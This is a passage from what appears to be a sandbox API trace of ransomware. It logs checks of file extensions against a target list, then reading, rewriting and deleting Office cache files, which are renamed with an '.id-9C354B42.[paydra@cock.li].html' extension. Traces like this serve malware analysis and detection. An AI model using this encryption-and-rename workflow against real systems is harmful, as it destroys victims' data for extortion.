Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.611] lstrlenW (lpString=".doc") returned 4 [0043.611] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.611] lstrlenW (lpString=".docx") returned 5 [0043.611] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.611] lstrlenW (lpString=".pdf") returned 4 [0043.611] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.611] lstrlenW (lpString=".xls") returned 4 [0043.611] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.611] lstrlenW (lpString=".xlsx") returned 5 [0043.611] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.611] lstrlenW (lpString=".ppt") returned 4 [0043.611] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.611] lstrlenW (lpString=".zip") returned 4 [0043.611] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.611] lstrlenW (lpString=".rar") returned 4 [0043.611] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.611] lstrlenW (lpString=".bz2") returned 4 [0043.611] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.611] lstrlenW (lpString=".7z") returned 3 [0043.611] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.611] lstrlenW (lpString=".dbf") returned 4 [0043.612] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.612] lstrlenW (lpString=".1cd") returned 4 [0043.612] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.612] lstrlenW (lpString=".jpg") returned 4 [0043.612] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.612] lstrlenW (lpString=".doc") returned 4 [0043.612] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString=".docx") returned 5 [0043.612] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.612] lstrlenW (lpString=".pdf") returned 4 [0043.612] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString=".xls") returned 4 [0043.612] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString=".xlsx") returned 5 [0043.612] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.612] lstrlenW (lpString=".ppt") returned 4 [0043.612] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.612] lstrlenW (lpString=".zip") returned 4 [0043.612] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString=".rar") returned 4 [0043.612] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.612] lstrlenW (lpString=".bz2") returned 4 [0043.612] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.612] lstrlenW (lpString=".7z") returned 3 [0043.612] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.612] lstrlenW (lpString=".dbf") returned 4 [0043.613] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.613] lstrlenW (lpString=".1cd") returned 4 [0043.613] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0043.613] lstrlenW (lpString=".jpg") returned 4 [0043.613] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.613] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0043.613] lstrlenW (lpString="dwintl20.dll") returned 12 [0043.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0043.613] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=107912) returned 1 [0043.613] CloseHandle (hObject=0x1dc) returned 1 [0043.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0043.614] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.614] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0043.614] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.614] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.614] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.814] GetLastError () returned 0x0 [0043.814] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0043.818] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0043.820] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.820] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.820] SetEndOfFile (hFile=0x17c) returned 1 [0043.820] CloseHandle (hObject=0x17c) returned 1 [0043.821] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.821] SetEndOfFile (hFile=0x1dc) returned 1 [0043.822] CloseHandle (hObject=0x1dc) returned 1 [0043.822] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.822] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0043.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.822] lstrlenW (lpString=".doc") returned 4 [0043.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.822] lstrlenW (lpString=".docx") returned 5 [0043.822] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0043.822] lstrlenW (lpString=".pdf") returned 4 [0043.822] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString=".xls") returned 4 [0043.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString=".xlsx") returned 5 [0043.823] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0043.823] lstrlenW (lpString=".ppt") returned 4 [0043.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.823] lstrlenW (lpString=".zip") returned 4 [0043.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString=".rar") returned 4 [0043.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString=".bz2") returned 4 [0043.823] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.823] lstrlenW (lpString=".7z") returned 3 [0043.823] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.823] lstrlenW (lpString=".dbf") returned 4 [0043.823] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.823] lstrlenW (lpString=".1cd") returned 4 [0043.823] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.823] lstrlenW (lpString=".jpg") returned 4 [0043.823] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.823] lstrlenW (lpString=".doc") returned 4 [0043.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.823] lstrlenW (lpString=".docx") returned 5 [0043.823] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0043.823] lstrlenW (lpString=".pdf") returned 4 [0043.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.824] lstrlenW (lpString=".xls") returned 4 [0043.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.824] lstrlenW (lpString=".xlsx") returned 5 [0043.824] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0043.824] lstrlenW (lpString=".ppt") returned 4 [0043.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.824] lstrlenW (lpString=".zip") returned 4 [0043.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.824] lstrlenW (lpString=".rar") returned 4 [0043.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.824] lstrlenW (lpString=".bz2") returned 4 [0043.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.824] lstrlenW (lpString=".7z") returned 3 [0043.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.824] lstrlenW (lpString=".dbf") returned 4 [0043.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.824] lstrlenW (lpString=".1cd") returned 4 [0043.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0043.824] lstrlenW (lpString=".jpg") returned 4 [0043.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.824] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0043.824] lstrlenW (lpString="dwdcw20.dll") returned 11 [0043.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0043.825] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=526176) returned 1 [0043.825] CloseHandle (hObject=0x1dc) returned 1 [0043.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0043.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0043.825] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.825] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.825] GetLastError () returned 0x0 [0043.825] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x80760, lpOverlapped=0x0) returned 1 [0043.838] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0043.847] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.847] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.847] SetEndOfFile (hFile=0x17c) returned 1 [0043.848] CloseHandle (hObject=0x17c) returned 1 [0043.848] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.848] SetEndOfFile (hFile=0x1dc) returned 1 [0044.430] CloseHandle (hObject=0x1dc) returned 1 [0044.431] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.431] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.431] lstrlenW (lpString=".doc") returned 4 [0044.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.431] lstrlenW (lpString=".docx") returned 5 [0044.431] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.431] lstrlenW (lpString=".pdf") returned 4 [0044.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.431] lstrlenW (lpString=".xls") returned 4 [0044.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.431] lstrlenW (lpString=".xlsx") returned 5 [0044.431] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.431] lstrlenW (lpString=".ppt") returned 4 [0044.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.431] lstrlenW (lpString=".zip") returned 4 [0044.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString=".rar") returned 4 [0044.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString=".bz2") returned 4 [0044.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.432] lstrlenW (lpString=".7z") returned 3 [0044.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.432] lstrlenW (lpString=".dbf") returned 4 [0044.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.432] lstrlenW (lpString=".1cd") returned 4 [0044.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.432] lstrlenW (lpString=".jpg") returned 4 [0044.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.432] lstrlenW (lpString=".doc") returned 4 [0044.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString=".docx") returned 5 [0044.432] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.432] lstrlenW (lpString=".pdf") returned 4 [0044.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString=".xls") returned 4 [0044.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString=".xlsx") returned 5 [0044.432] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.432] lstrlenW (lpString=".ppt") returned 4 [0044.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.432] lstrlenW (lpString=".zip") returned 4 [0044.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.433] lstrlenW (lpString=".rar") returned 4 [0044.433] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.433] lstrlenW (lpString=".bz2") returned 4 [0044.433] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.433] lstrlenW (lpString=".7z") returned 3 [0044.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.433] lstrlenW (lpString=".dbf") returned 4 [0044.433] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.433] lstrlenW (lpString=".1cd") returned 4 [0044.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.433] lstrlenW (lpString=".jpg") returned 4 [0044.433] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.433] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0044.476] lstrlenW (lpString="OfficeLR.cab") returned 12 [0044.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0044.477] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=14127746) returned 1 [0044.477] CloseHandle (hObject=0x1dc) returned 1 [0044.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0044.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.479] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0044.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0044.494] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.494] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.494] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.506] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.506] ReadFile (in: hFile=0x1dc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.510] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.510] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.510] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, 